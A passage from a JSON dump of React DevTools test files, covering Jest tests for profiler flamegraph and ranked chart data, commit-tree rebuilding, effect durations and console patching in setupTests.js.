setState(true);\n      });\n\n      return null;\n    }\n\n    function App() {\n      const [childUnmounted, _setChildUnmounted] = React.useState(false);\n      setChildUnmounted = _setChildUnmounted;\n      return <>{!childUnmounted && <Child />}</>;\n    }\n\n    const root = ReactDOMClient.createRoot(document.createElement('div'));\n    utils.act(() => root.render(<App />));\n    utils.act(() => store.profilerStore.startProfiling());\n    utils.act(() => setChildUnmounted(true));\n    utils.act(() => store.profilerStore.stopProfiling());\n\n    const updaters = store.profilerStore.getCommitData(\n      store.roots[0],\n      0,\n    ).updaters;\n    expect(updaters.length).toEqual(1);\n    expect(updaters[0].displayName).toEqual('App');\n  });\n\n  // @reactVersion >= 18.0\n  it('components that were deleted should not be added to updaters during the passive phase', () => {\n    let setChildUnmounted;\n    function Child() {\n      const [, setState] = React.useState(false);\n      React.useEffect(() => {\n        return () => setState(true);\n      });\n\n      return null;\n    }\n\n    function App() {\n      const [childUnmounted, _setChildUnmounted] = React.useState(false);\n      setChildUnmounted = _setChildUnmounted;\n      return <>{!childUnmounted && <Child />}</>;\n    }\n\n    const root = ReactDOMClient.createRoot(document.createElement('div'));\n    utils.act(() => root.render(<App />));\n    utils.act(() => store.profilerStore.startProfiling());\n    utils.act(() => setChildUnmounted(true));\n    utils.act(() => store.profilerStore.stopProfiling());\n\n    const updaters = store.profilerStore.getCommitData(\n      store.roots[0],\n      0,\n    ).updaters;\n    expect(updaters.length).toEqual(1);\n    expect(updaters[0].displayName).toEqual('App');\n  });\n});\n"
  },
  {
    "path": "packages/react-devtools-shared/src/__tests__/profilingCharts-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type Store from 'react-devtools-shared/src/devtools/store';\n\nimport {getVersionedRenderImplementation} from './utils';\n\ndescribe('profiling charts', () => {\n  let React;\n  let Scheduler;\n  let store: Store;\n  let utils;\n\n  beforeEach(() => {\n    utils = require('./utils');\n    utils.beforeEachProfiling();\n\n    store = global.store;\n    store.collapseNodesByDefault = false;\n    store.recordChangeDescriptions = true;\n\n    React = require('react');\n    Scheduler = require('scheduler');\n  });\n\n  const {render} = getVersionedRenderImplementation();\n\n  function getFlamegraphChartData(rootID, commitIndex) {\n    const commitTree = store.profilerStore.profilingCache.getCommitTree({\n      commitIndex,\n      rootID,\n    });\n    const chartData = store.profilerStore.profilingCache.getFlamegraphChartData(\n      {\n        commitIndex,\n        commitTree,\n        rootID,\n      },\n    );\n    return {commitTree, chartData};\n  }\n\n  function getRankedChartData(rootID, commitIndex) {\n    const commitTree = store.profilerStore.profilingCache.getCommitTree({\n      commitIndex,\n      rootID,\n    });\n    const chartData = store.profilerStore.profilingCache.getRankedChartData({\n      commitIndex,\n      commitTree,\n      rootID,\n    });\n    return {commitTree, chartData};\n  }\n\n  describe('flamegraph chart', () => {\n    // @reactVersion >= 16.9\n    it('should contain valid data', () => {\n      const Parent = (_: {}) => {\n        Scheduler.unstable_advanceTime(10);\n        return (\n          <React.Fragment>\n            <Child key=\"first\" duration={3} />\n            <Child key=\"second\" duration={2} />\n            <Child key=\"third\" duration={0} />\n          </React.Fragment>\n        );\n      };\n\n      // Memoize children to verify that chart doesn't include in the update.\n      const Child = React.memo(function Child({duration}) {\n        Scheduler.unstable_advanceTime(duration);\n        return null;\n      });\n\n      utils.act(() => store.profilerStore.startProfiling());\n\n      utils.act(() => render(<Parent />));\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n          ▾ <Parent>\n              <Child key=\"first\"> [Memo]\n              <Child key=\"second\"> [Memo]\n              <Child key=\"third\"> [Memo]\n      `);\n\n      utils.act(() => render(<Parent />));\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n          ▾ <Parent>\n              <Child key=\"first\"> [Memo]\n              <Child key=\"second\"> [Memo]\n              <Child key=\"third\"> [Memo]\n      `);\n\n      utils.act(() => store.profilerStore.stopProfiling());\n\n      const rootID = store.roots[0];\n\n      const firstCommitData = getFlamegraphChartData(rootID, 0);\n      expect(firstCommitData.commitTree.nodes.size).toBe(5);\n      expect(firstCommitData.chartData.rows).toMatchInlineSnapshot(`\n        [\n          [\n            {\n              \"actualDuration\": 15,\n              \"didRender\": true,\n              \"id\": 2,\n              \"label\": \"Parent (10ms of 15ms)\",\n              \"name\": \"Parent\",\n              \"offset\": 0,\n              \"selfDuration\": 10,\n              \"treeBaseDuration\": 15,\n            },\n          ],\n          [\n            {\n              \"actualDuration\": 0,\n              \"didRender\": true,\n              \"id\": 5,\n              \"label\": \"Child (Memo) key=\"third\" (<0.1ms of <0.1ms)\",\n              \"name\": \"Child\",\n              \"offset\": 15,\n              \"selfDuration\": 0,\n              \"treeBaseDuration\": 0,\n            },\n            {\n              \"actualDuration\": 2,\n              \"didRender\": true,\n              \"id\": 4,\n              \"label\": \"Child (Memo) key=\"second\" (2ms of 2ms)\",\n              \"name\": \"Child\",\n              \"offset\": 13,\n              \"selfDuration\": 2,\n              \"treeBaseDuration\": 2,\n            },\n            {\n              \"actualDuration\": 3,\n              \"didRender\": true,\n              \"id\": 3,\n              \"label\": \"Child (Memo) key=\"first\" (3ms of 3ms)\",\n              \"name\": \"Child\",\n              \"offset\": 10,\n              \"selfDuration\": 3,\n              \"treeBaseDuration\": 3,\n            },\n          ],\n        ]\n      `);\n\n      const secondCommitData = getFlamegraphChartData(rootID, 1);\n      expect(secondCommitData.commitTree.nodes.size).toBe(5);\n      expect(secondCommitData.chartData.rows).toMatchInlineSnapshot(`\n        [\n          [\n            {\n              \"actualDuration\": 10,\n              \"didRender\": true,\n              \"id\": 2,\n              \"label\": \"Parent (10ms of 10ms)\",\n              \"name\": \"Parent\",\n              \"offset\": 0,\n              \"selfDuration\": 10,\n              \"treeBaseDuration\": 15,\n            },\n          ],\n          [\n            {\n              \"actualDuration\": 0,\n              \"didRender\": false,\n              \"id\": 5,\n              \"label\": \"Child (Memo) key=\"third\"\",\n              \"name\": \"Child\",\n              \"offset\": 15,\n              \"selfDuration\": 0,\n              \"treeBaseDuration\": 0,\n            },\n            {\n              \"actualDuration\": 0,\n              \"didRender\": false,\n              \"id\": 4,\n              \"label\": \"Child (Memo) key=\"second\"\",\n              \"name\": \"Child\",\n              \"offset\": 13,\n              \"selfDuration\": 0,\n              \"treeBaseDuration\": 2,\n            },\n            {\n              \"actualDuration\": 0,\n              \"didRender\": false,\n              \"id\": 3,\n              \"label\": \"Child (Memo) key=\"first\"\",\n              \"name\": \"Child\",\n              \"offset\": 10,\n              \"selfDuration\": 0,\n              \"treeBaseDuration\": 3,\n            },\n          ],\n        ]\n      `);\n    });\n  });\n\n  describe('ranked chart', () => {\n    // @reactVersion >= 16.9\n    it('should contain valid data', () => {\n      const Parent = (_: {}) => {\n        Scheduler.unstable_advanceTime(10);\n        return (\n          <React.Fragment>\n            <Child key=\"first\" duration={3} />\n            <Child key=\"second\" duration={2} />\n            <Child key=\"third\" duration={0} />\n          </React.Fragment>\n        );\n      };\n\n      // Memoize children to verify that chart doesn't include in the update.\n      const Child = React.memo(function Child({duration}) {\n        Scheduler.unstable_advanceTime(duration);\n        return null;\n      });\n\n      utils.act(() => store.profilerStore.startProfiling());\n\n      utils.act(() => render(<Parent />));\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n          ▾ <Parent>\n              <Child key=\"first\"> [Memo]\n              <Child key=\"second\"> [Memo]\n              <Child key=\"third\"> [Memo]\n      `);\n\n      utils.act(() => render(<Parent />));\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n          ▾ <Parent>\n              <Child key=\"first\"> [Memo]\n              <Child key=\"second\"> [Memo]\n              <Child key=\"third\"> [Memo]\n      `);\n\n      utils.act(() => store.profilerStore.stopProfiling());\n\n      const rootID = store.roots[0];\n\n      // Everything should render the first time.\n      const firstCommitData = getRankedChartData(rootID, 0);\n      expect(firstCommitData.commitTree.nodes.size).toBe(5);\n      expect(firstCommitData.chartData.nodes).toMatchInlineSnapshot(`\n        [\n          {\n            \"id\": 2,\n            \"label\": \"Parent (10ms)\",\n            \"name\": \"Parent\",\n            \"value\": 10,\n          },\n          {\n            \"id\": 3,\n            \"label\": \"Child (Memo) key=\"first\" (3ms)\",\n            \"name\": \"Child\",\n            \"value\": 3,\n          },\n          {\n            \"id\": 4,\n            \"label\": \"Child (Memo) key=\"second\" (2ms)\",\n            \"name\": \"Child\",\n            \"value\": 2,\n          },\n          {\n            \"id\": 5,\n            \"label\": \"Child (Memo) key=\"third\" (<0.1ms)\",\n            \"name\": \"Child\",\n            \"value\": 0,\n          },\n        ]\n      `);\n\n      // Only parent should render the second time, since child props have not changed.\n      const secondCommitData = getRankedChartData(rootID, 1);\n      expect(secondCommitData.commitTree.nodes.size).toBe(5);\n      expect(secondCommitData.chartData.nodes).toMatchInlineSnapshot(`\n        [\n          {\n            \"id\": 2,\n            \"label\": \"Parent (10ms)\",\n            \"name\": \"Parent\",\n            \"value\": 10,\n          },\n        ]\n      `);\n    });\n  });\n\n  describe('components behind filtered fibers should not report false re-renders', () => {\n    it('should not report a component as re-rendered when its filtered parent bailed out', () => {\n      let triggerUpdate;\n\n      function Count() {\n        const [count, setCount] = React.useState(0);\n        triggerUpdate = () => setCount(c => c + 1);\n        Scheduler.unstable_advanceTime(5);\n        return count;\n      }\n\n      function Greeting() {\n        Scheduler.unstable_advanceTime(3);\n        return 'Hello';\n      }\n\n      function App() {\n        Scheduler.unstable_advanceTime(1);\n        return (\n          <React.Fragment>\n            <Count />\n            <div>\n              <Greeting />\n            </div>\n          </React.Fragment>\n        );\n      }\n\n      utils.act(() => store.profilerStore.startProfiling());\n      utils.act(() => render(<App />));\n\n      // Verify tree structure: div is filtered, so Greeting appears as child of App\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n          ▾ <App>\n              <Count>\n              <Greeting>\n      `);\n\n      // Trigger a state update in Count. Should not cause Greeting to re-render.\n      utils.act(() => triggerUpdate());\n\n      utils.act(() => store.profilerStore.stopProfiling());\n\n      const rootID = store.roots[0];\n      const {chartData} = getFlamegraphChartData(rootID, 1);\n      const allNodes = chartData.rows.flat();\n\n      expect(allNodes).toEqual([\n        expect.objectContaining({name: 'App', didRender: false}),\n        expect.objectContaining({name: 'Greeting', didRender: false}),\n        expect.objectContaining({name: 'Count', didRender: true}),\n      ]);\n    });\n\n    it('should not report a component as re-rendered when behind a filtered fragment', () => {\n      let triggerUpdate;\n\n      function Count() {\n        const [count, setCount] = React.useState(0);\n        triggerUpdate = () => setCount(c => c + 1);\n        Scheduler.unstable_advanceTime(5);\n        return count;\n      }\n\n      function Greeting() {\n        Scheduler.unstable_advanceTime(3);\n        return 'Hello';\n      }\n\n      function App() {\n        Scheduler.unstable_advanceTime(1);\n        return (\n          <React.Fragment>\n            <Count />\n            <React.Fragment>\n              <Greeting />\n            </React.Fragment>\n          </React.Fragment>\n        );\n      }\n\n      utils.act(() => store.profilerStore.startProfiling());\n      utils.act(() => render(<App />));\n\n      // Fragment with null key is filtered, so Greeting appears as child of App\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n          ▾ <App>\n              <Count>\n              <Greeting>\n      `);\n\n      // Trigger a state update in Count\n      utils.act(() => triggerUpdate());\n\n      utils.act(() => store.profilerStore.stopProfiling());\n\n      const rootID = store.roots[0];\n      const {chartData} = getFlamegraphChartData(rootID, 1);\n      const allNodes = chartData.rows.flat();\n\n      expect(allNodes).toEqual([\n        expect.objectContaining({name: 'App', didRender: false}),\n        expect.objectContaining({name: 'Greeting', didRender: false}),\n        expect.objectContaining({name: 'Count', didRender: true}),\n      ]);\n    });\n\n    it('should correctly report sibling components that did not re-render', () => {\n      let triggerUpdate;\n\n      function Count() {\n        const [count, setCount] = React.useState(0);\n        triggerUpdate = () => setCount(c => c + 1);\n        Scheduler.unstable_advanceTime(5);\n        return count;\n      }\n\n      function Greeting() {\n        Scheduler.unstable_advanceTime(3);\n        return 'Hello';\n      }\n\n      function App() {\n        Scheduler.unstable_advanceTime(1);\n        return (\n          <React.Fragment>\n            <Count />\n            <Greeting />\n          </React.Fragment>\n        );\n      }\n\n      utils.act(() => store.profilerStore.startProfiling());\n      utils.act(() => render(<App />));\n\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n          ▾ <App>\n              <Count>\n              <Greeting>\n      `);\n\n      utils.act(() => triggerUpdate());\n\n      utils.act(() => store.profilerStore.stopProfiling());\n\n      const rootID = store.roots[0];\n      const {chartData} = getFlamegraphChartData(rootID, 1);\n      const allNodes = chartData.rows.flat();\n\n      expect(allNodes).toEqual([\n        expect.objectContaining({name: 'App', didRender: false}),\n        expect.objectContaining({name: 'Greeting', didRender: false}),\n        expect.objectContaining({name: 'Count', didRender: true}),\n      ]);\n    });\n  });\n});\n"
  },
  {
    "path": "packages/react-devtools-shared/src/__tests__/profilingCommitTreeBuilder-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type Store from 'react-devtools-shared/src/devtools/store';\n\nimport {getVersionedRenderImplementation} from './utils';\n\ndescribe('commit tree', () => {\n  let React = require('react');\n  let Scheduler;\n  let store: Store;\n  let utils;\n\n  beforeEach(() => {\n    utils = require('./utils');\n    utils.beforeEachProfiling();\n\n    store = global.store;\n    store.collapseNodesByDefault = false;\n    store.recordChangeDescriptions = true;\n\n    React = require('react');\n    Scheduler = require('scheduler');\n  });\n\n  const {render} = getVersionedRenderImplementation();\n\n  // @reactVersion >= 16.9\n  it('should be able to rebuild the store tree for each commit', () => {\n    const Parent = ({count}) => {\n      Scheduler.unstable_advanceTime(10);\n      return new Array(count)\n        .fill(true)\n        .map((_, index) => <Child key={index} />);\n    };\n    const Child = React.memo(function Child() {\n      Scheduler.unstable_advanceTime(2);\n      return null;\n    });\n\n    utils.act(() => store.profilerStore.startProfiling());\n    utils.act(() => render(<Parent count={1} />));\n    expect(store).toMatchInlineSnapshot(`\n      [root]\n        ▾ <Parent>\n            <Child key=\"0\"> [Memo]\n    `);\n    utils.act(() => render(<Parent count={3} />));\n    expect(store).toMatchInlineSnapshot(`\n      [root]\n        ▾ <Parent>\n            <Child key=\"0\"> [Memo]\n            <Child key=\"1\"> [Memo]\n            <Child key=\"2\"> [Memo]\n    `);\n    utils.act(() => render(<Parent count={2} />));\n    expect(store).toMatchInlineSnapshot(`\n      [root]\n        ▾ <Parent>\n            <Child key=\"0\"> [Memo]\n            <Child key=\"1\"> [Memo]\n    `);\n    utils.act(() => render(<Parent count={0} />));\n    expect(store).toMatchInlineSnapshot(`\n      [root]\n          <Parent>\n    `);\n    utils.act(() => store.profilerStore.stopProfiling());\n\n    const rootID = store.roots[0];\n    const commitTrees = [];\n    for (let commitIndex = 0; commitIndex < 4; commitIndex++) {\n      commitTrees.push(\n        store.profilerStore.profilingCache.getCommitTree({\n          commitIndex,\n          rootID,\n        }),\n      );\n    }\n\n    expect(commitTrees[0].nodes.size).toBe(3); // <Root> + <Parent> + <Child>\n    expect(commitTrees[1].nodes.size).toBe(5); // <Root> + <Parent> + <Child> x 3\n    expect(commitTrees[2].nodes.size).toBe(4); // <Root> + <Parent> + <Child> x 2\n    expect(commitTrees[3].nodes.size).toBe(2); // <Root> + <Parent>\n  });\n\n  describe('Lazy', () => {\n    async function fakeImport(result) {\n      return {default: result};\n    }\n\n    const LazyInnerComponent = () => null;\n\n    const App = ({renderChildren}) => {\n      if (renderChildren) {\n        return (\n          <React.Suspense fallback=\"Loading...\">\n            <LazyComponent />\n          </React.Suspense>\n        );\n      } else {\n        return null;\n      }\n    };\n\n    let LazyComponent;\n    beforeEach(() => {\n      LazyComponent = React.lazy(() => fakeImport(LazyInnerComponent));\n    });\n\n    // @reactVersion >= 16.9\n    it('should support Lazy components', async () => {\n      utils.act(() => store.profilerStore.startProfiling());\n      utils.act(() => render(<App renderChildren={true} />));\n      await Promise.resolve();\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n          ▾ <App>\n              <Suspense>\n        [suspense-root]  rects={null}\n          <Suspense name=\"App\" uniqueSuspenders={true} rects={null}>\n      `);\n      utils.act(() => render(<App renderChildren={true} />));\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n          ▾ <App>\n            ▾ <Suspense>\n                <LazyInnerComponent>\n        [suspense-root]  rects={null}\n          <Suspense name=\"App\" uniqueSuspenders={true} rects={null}>\n      `);\n      utils.act(() => render(<App renderChildren={false} />));\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n            <App>\n      `);\n      utils.act(() => store.profilerStore.stopProfiling());\n\n      const rootID = store.roots[0];\n      const commitTrees = [];\n      for (let commitIndex = 0; commitIndex < 3; commitIndex++) {\n        commitTrees.push(\n          store.profilerStore.profilingCache.getCommitTree({\n            commitIndex,\n            rootID,\n          }),\n        );\n      }\n\n      expect(commitTrees[0].nodes.size).toBe(3);\n      expect(commitTrees[1].nodes.size).toBe(4); // <Root> + <App> + <Suspense> + <LazyInnerComponent>\n      expect(commitTrees[2].nodes.size).toBe(2); // <Root> + <App>\n    });\n\n    // @reactVersion >= 16.9\n    it('should support Lazy components that are unmounted before resolving', async () => {\n      utils.act(() => store.profilerStore.startProfiling());\n      utils.act(() => render(<App renderChildren={true} />));\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n          ▾ <App>\n              <Suspense>\n        [suspense-root]  rects={null}\n          <Suspense name=\"App\" uniqueSuspenders={true} rects={null}>\n      `);\n      utils.act(() => render(<App renderChildren={false} />));\n      expect(store).toMatchInlineSnapshot(`\n        [root]\n            <App>\n      `);\n      utils.act(() => store.profilerStore.stopProfiling());\n\n      const rootID = store.roots[0];\n      const commitTrees = [];\n      for (let commitIndex = 0; commitIndex < 2; commitIndex++) {\n        commitTrees.push(\n          store.profilerStore.profilingCache.getCommitTree({\n            commitIndex,\n            rootID,\n          }),\n        );\n      }\n\n      expect(commitTrees[0].nodes.size).toBe(3);\n      expect(commitTrees[1].nodes.size).toBe(2); // <Root> + <App>\n    });\n  });\n\n  describe('Suspense', () => {\n    it('should handle transitioning from fallback back to content during profiling', async () => {\n      let resolvePromise;\n      let promise = null;\n      let childTreeBaseDuration = 10;\n\n      function Wrapper({children}) {\n        Scheduler.unstable_advanceTime(2);\n        return children;\n      }\n\n      function Child() {\n        Scheduler.unstable_advanceTime(childTreeBaseDuration);\n        if (promise !== null) {\n          React.use(promise);\n        }\n        return <GrandChild />;\n      }\n\n      function GrandChild() {\n        Scheduler.unstable_advanceTime(5);\n        return null;\n      }\n\n      function Fallback() {\n        Scheduler.unstable_advanceTime(2);\n        return null;\n      }\n\n      function App() {\n        Scheduler.unstable_advanceTime(1);\n        return (\n          <React.Suspense fallback={<Fallback />}>\n            <Wrapper>\n              <Child />\n            </Wrapper>\n          </React.Suspense>\n        );\n      }\n\n      utils.act(() => store.profilerStore.startProfiling());\n\n      // Commit 1: Mount with primary\n      utils.act(() => render(<App step={1} />));\n\n      // Commit 2: Suspend, show fallback\n      promise = new Promise(resolve => (resolvePromise = resolve));\n      await utils.actAsync(() => render(<App step={2} />));\n\n      // Commit 3: Resolve suspended promise, show primary content with a different duration.\n      childTreeBaseDuration = 20;\n      promise = null;\n      await utils.actAsync(resolvePromise);\n      utils.act(() => render(<App step={3} />));\n\n      utils.act(() => store.profilerStore.stopProfiling());\n\n      const rootID = store.roots[0];\n      const dataForRoot = store.profilerStore.getDataForRoot(rootID);\n      const numCommits = dataForRoot.commitData.length;\n      for (let commitIndex = 0; commitIndex < numCommits; commitIndex++) {\n        store.profilerStore.profilingCache.getCommitTree({\n          commitIndex,\n          rootID,\n        });\n      }\n    });\n  });\n});\n"
  },
  {
    "path": "packages/react-devtools-shared/src/__tests__/profilingHostRoot-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport {\n  getLegacyRenderImplementation,\n  getModernRenderImplementation,\n} from './utils';\n\ndescribe('profiling HostRoot', () => {\n  let React;\n  let Scheduler;\n  let store;\n  let utils;\n  let getEffectDurations;\n  let effectDurations;\n  let passiveEffectDurations;\n\n  beforeEach(() => {\n    utils = require('./utils');\n    utils.beforeEachProfiling();\n\n    getEffectDurations = require('../backend/utils').getEffectDurations;\n\n    store = global.store;\n\n    React = require('react');\n    Scheduler = require('scheduler');\n\n    effectDurations = [];\n    passiveEffectDurations = [];\n\n    // This is the DevTools hook installed by the env.beforEach()\n    // The hook is installed as a read-only property on the window,\n    // so for our test purposes we can just override the commit hook.\n    const hook = global.__REACT_DEVTOOLS_GLOBAL_HOOK__;\n    hook.onPostCommitFiberRoot = function onPostCommitFiberRoot(\n      rendererID,\n      root,\n    ) {\n      const {effectDuration, passiveEffectDuration} = getEffectDurations(root);\n      effectDurations.push(effectDuration);\n      passiveEffectDurations.push(passiveEffectDuration);\n    };\n  });\n\n  const {render: legacyRender} = getLegacyRenderImplementation();\n  const {render: modernRender} = getModernRenderImplementation();\n\n  // @reactVersion >= 18.0\n  // @reactVersion <= 18.2\n  it('should expose passive and layout effect durations for render()', () => {\n    function App() {\n      React.useEffect(() => {\n        Scheduler.unstable_advanceTime(10);\n      });\n      React.useLayoutEffect(() => {\n        Scheduler.unstable_advanceTime(100);\n      });\n      return null;\n    }\n\n    utils.act(() => store.profilerStore.startProfiling());\n    utils.act(() => {\n      legacyRender(<App />);\n    });\n    utils.act(() => store.profilerStore.stopProfiling());\n\n    expect(effectDurations).toHaveLength(1);\n    const effectDuration = effectDurations[0];\n    expect(effectDuration === null || effectDuration === 100).toBe(true);\n    expect(passiveEffectDurations).toHaveLength(1);\n    const passiveEffectDuration = passiveEffectDurations[0];\n    expect(passiveEffectDuration === null || passiveEffectDuration === 10).toBe(\n      true,\n    );\n  });\n\n  // @reactVersion >=18.0\n  it('should expose passive and layout effect durations for createRoot()', () => {\n    function App() {\n      React.useEffect(() => {\n        Scheduler.unstable_advanceTime(10);\n      });\n      React.useLayoutEffect(() => {\n        Scheduler.unstable_advanceTime(100);\n      });\n      return null;\n    }\n\n    utils.act(() => store.profilerStore.startProfiling());\n    utils.act(() => {\n      modernRender(<App />);\n    });\n    utils.act(() => store.profilerStore.stopProfiling());\n\n    expect(effectDurations).toHaveLength(1);\n    const effectDuration = effectDurations[0];\n    expect(effectDuration === null || effectDuration === 100).toBe(true);\n    expect(passiveEffectDurations).toHaveLength(1);\n    const passiveEffectDuration = passiveEffectDurations[0];\n    expect(passiveEffectDuration === null || passiveEffectDuration === 10).toBe(\n      true,\n    );\n  });\n\n  // @reactVersion >=18.0\n  it('should properly reset passive and layout effect durations between commits', () => {\n    function App({shouldCascade}) {\n      const [, setState] = React.useState(false);\n      React.useEffect(() => {\n        Scheduler.unstable_advanceTime(10);\n      });\n      React.useLayoutEffect(() => {\n        Scheduler.unstable_advanceTime(100);\n      });\n      React.useLayoutEffect(() => {\n        if (shouldCascade) {\n          setState(true);\n        }\n      }, [shouldCascade]);\n      return null;\n    }\n\n    utils.act(() => store.profilerStore.startProfiling());\n    utils.act(() => modernRender(<App />));\n    utils.act(() => modernRender(<App shouldCascade={true} />));\n    utils.act(() => store.profilerStore.stopProfiling());\n\n    expect(effectDurations).toHaveLength(3);\n    expect(passiveEffectDurations).toHaveLength(3);\n\n    for (let i = 0; i < effectDurations.length; i++) {\n      const effectDuration = effectDurations[i];\n      expect(effectDuration === null || effectDuration === 100).toBe(true);\n      const passiveEffectDuration = passiveEffectDurations[i];\n      expect(\n        passiveEffectDuration === null || passiveEffectDuration === 10,\n      ).toBe(true);\n    }\n  });\n});\n"
  },
  {
    "path": "packages/react-devtools-shared/src/__tests__/profilingUtils-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\ndescribe('profiling utils', () => {\n  let utils;\n\n  beforeEach(() => {\n    utils = require('react-devtools-shared/src/devtools/views/Profiler/utils');\n  });\n\n  it('should throw if importing older/unsupported data', () => {\n    expect(() =>\n      utils.prepareProfilingDataFrontendFromExport(\n        ({\n          version: 0,\n          dataForRoots: [],\n        }: any),\n      ),\n    ).toThrow('Unsupported profile export version');\n  });\n});\n"
  },
  {
    "path": "packages/react-devtools-shared/src/__tests__/setupTests.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport {CustomConsole} from '@jest/console';\n\nimport type {\n  BackendBridge,\n  FrontendBridge,\n} from 'react-devtools-shared/src/bridge';\n\nconst {getTestFlags} = require('../../../../scripts/jest/TestFlags');\n\n// Argument is serialized when passed from jest-cli script through to setupTests.\nconst compactConsole = process.env.compactConsole === 'true';\nif (compactConsole) {\n  const formatter = (type, message) => {\n    switch (type) {\n      case 'error':\n        return '\\x1b[31m' + message + '\\x1b[0m';\n      case 'warn':\n        return '\\x1b[33m' + message + '\\x1b[0m';\n      case 'log':\n      default:\n        return message;\n    }\n  };\n\n  global.console = new CustomConsole(process.stdout, process.stderr, formatter);\n}\n\nconst expectTestToFail = async (callback, error) => {\n  if (callback.length > 0) {\n    throw Error(\n      'Gated test helpers do not support the `done` callback. Return a ' +\n        'promise instead.',\n    );\n  }\n  try {\n    const maybePromise = callback();\n    if (\n      maybePromise !== undefined &&\n      maybePromise !== null &&\n      typeof maybePromise.then === 'function'\n    ) {\n      await maybePromise;\n    }\n  } catch (testError) {\n    return;\n  }\n  throw error;\n};\n\nconst gatedErrorMessage = 'Gated test was expected to fail, but it passed.';\nglobal._test_gate = (gateFn, testName, callback) => {\n  let shouldPass;\n  try {\n    const flags = getTestFlags();\n    shouldPass = gateFn(flags);\n  } catch (e) {\n    test(testName, () => {\n      throw e;\n    });\n    return;\n  }\n  if (shouldPass) {\n    test(testName, callback);\n  } else {\n    const error = new Error(gatedErrorMessage);\n    Error.captureStackTrace(error, global._test_gate);\n    test(`[GATED, SHOULD FAIL] ${testName}`, () =>\n      expectTestToFail(callback, error));\n  }\n};\nglobal._test_gate_focus = (gateFn, testName, callback) => {\n  let shouldPass;\n  try {\n    const flags = getTestFlags();\n    shouldPass = gateFn(flags);\n  } catch (e) {\n    test.only(testName, () => {\n      throw e;\n    });\n    return;\n  }\n  if (shouldPass) {\n    test.only(testName, callback);\n  } else {\n    const error = new Error(gatedErrorMessage);\n    Error.captureStackTrace(error, global._test_gate_focus);\n    test.only(`[GATED, SHOULD FAIL] ${testName}`, () =>\n      expectTestToFail(callback, error));\n  }\n};\n\n// Dynamic version of @gate pragma\nglobal.gate = fn => {\n  const flags = getTestFlags();\n  return fn(flags);\n};\n\nfunction shouldIgnoreConsoleErrorOrWarn(args) {\n  let firstArg = args[0];\n  if (\n    firstArg !== null &&\n    typeof firstArg === 'object' &&\n    String(firstArg).indexOf('Error: Uncaught [') === 0\n  ) {\n    firstArg = String(firstArg);\n  } else if (typeof firstArg !== 'string') {\n    return false;\n  }\n\n  const maybeError = args[1];\n  if (\n    maybeError !== null &&\n    typeof maybeError === 'object' &&\n    maybeError.message === 'Simulated error coming from DevTools'\n  ) {\n    // Error from forcing an error boundary.\n    return true;\n  }\n\n  return global._ignoredErrorOrWarningMessages.some(errorOrWarningMessage => {\n    return firstArg.indexOf(errorOrWarningMessage) !== -1;\n  });\n}\n\nfunction patchConsoleForTestingBeforeHookInstallation() {\n  const originalConsoleError = console.error;\n  const originalConsoleWarn = console.warn;\n  const originalConsoleLog = console.log;\n\n  const consoleErrorMock = jest.fn();\n  const consoleWarnMock = jest.fn();\n  const consoleLogMock = jest.fn();\n\n  global.consoleErrorMock = consoleErrorMock;\n  global.consoleWarnMock = consoleWarnMock;\n  global.consoleLogMock = consoleLogMock;\n\n  console.error = (...args) => {\n    let firstArg = args[0];\n    if (typeof firstArg === 'string' && firstArg.startsWith('Warning: ')) {\n      // Older React versions might use the Warning: prefix. I'm not sure\n      // if they use this code path.\n      firstArg = firstArg.slice(9);\n    }\n    if (firstArg === 'React instrumentation encountered an error: %o') {\n      // Rethrow errors from React.\n      throw args[1];\n    } else if (\n      typeof firstArg === 'string' &&\n      (firstArg.startsWith(\"It looks like you're using the wrong act()\") ||\n        firstArg.startsWith(\n          'The current testing environment is not configured to support act',\n        ) ||\n        firstArg.startsWith('You seem to have overlapping act() calls') ||\n        firstArg.startsWith(\n          'ReactDOM.render is no longer supported in React 18.',\n        ))\n    ) {\n      // DevTools intentionally wraps updates with acts from both DOM and test-renderer,\n      // since test updates are expected to impact both renderers.\n      return;\n    } else if (shouldIgnoreConsoleErrorOrWarn(args)) {\n      // Allows testing how DevTools behaves when it encounters console.error without cluttering the test output.\n      // Errors can be ignored by running in a special context provided by utils.js#withErrorsOrWarningsIgnored\n      return;\n    }\n\n    consoleErrorMock(...args);\n    originalConsoleError.apply(console, args);\n  };\n  console.warn = (...args) => {\n    if (shouldIgnoreConsoleErrorOrWarn(args)) {\n      // Allows testing how DevTools behaves when it encounters console.warn without cluttering the test output.\n      // Warnings can be ignored by running in a special context provided by utils.js#withErrorsOrWarningsIgnored\n      return;\n    }\n\n    consoleWarnMock(...args);\n    originalConsoleWarn.apply(console, args);\n  };\n  console.log = (...args) => {\n    consoleLogMock(...args);\n    originalConsoleLog.apply(console, args);\n  };\n}\n\nfunction unpatchConsoleAfterTesting() {\n  delete global.consoleErrorMock;\n  delete global.consoleWarnMock;\n  delete global.consoleLogMock;\n}\n\nbeforeEach(() => {\n  patchConsoleForTestingBeforeHookInstallation();\n\n  global.mockClipboardCopy = jest.fn();\n\n  // 